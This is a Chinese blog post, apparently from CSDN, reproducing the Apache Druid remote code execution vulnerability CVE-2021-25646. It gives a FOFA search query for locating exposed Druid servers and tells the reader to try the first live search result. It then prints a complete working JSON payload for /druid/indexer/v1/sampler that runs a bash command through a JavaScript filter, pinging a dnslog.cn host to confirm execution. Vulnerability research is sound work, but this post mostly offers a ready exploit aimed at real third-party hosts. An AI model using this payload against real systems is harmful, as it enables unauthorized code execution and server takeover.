Apache Druid远程代码执行漏洞复现(CVE-2021-25646)

Apache Druid远程代码执行漏洞复现(CVE-2021-25646)

漏洞描述

Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

影响版本

Apache Druid < 0.20.1

漏洞环境以及复现

fofa搜索:title=“Apache Druid”
在这里插入图片描述
打开第一个网址,访问特定目录,目录存在:/druid/indexer/v1/sampler
在这里插入图片描述

利用bp抓包,发送payload:
在这里插入图片描述

查看dnslog:
在这里插入图片描述

命令执行成功!!!
payload:

{
	"type":"index","spec":{
		"type":"index",
		"ioConfig":{
			"type":"index","inputSource":{
				"type":"http",
				"uris":["https://www.baidu.com"]
			},"inputFormat":{
				"type":"tsv",
				"findColumnsFromHeader":true
			}
		},"dataSchema":{
			"dataSource":"sample",
			"timestampSpec":{
				"column":"timestamp",
				"missingValue":"2010-01-01T00:00:00Z"
			},"dimensionsSpec":{},
			"transformSpec":{
				"transforms":[],
				"filter":{
					"type": "javascript",
					"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping aasdasdd.u6zdp0.dnslog.cn')}",
					"dimension": "added",
					"": {
						"enabled": "true"
					}
				}
			}
		},"type":"index",
		"tuningConfig":{
			"type":"index"
		}
	},"samplerConfig":{
		"numRows":50,
		"timeoutMs":10000
	}
}
最后

以上仅为验证漏洞存在,切勿用于实战,造成影响与作者无关。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值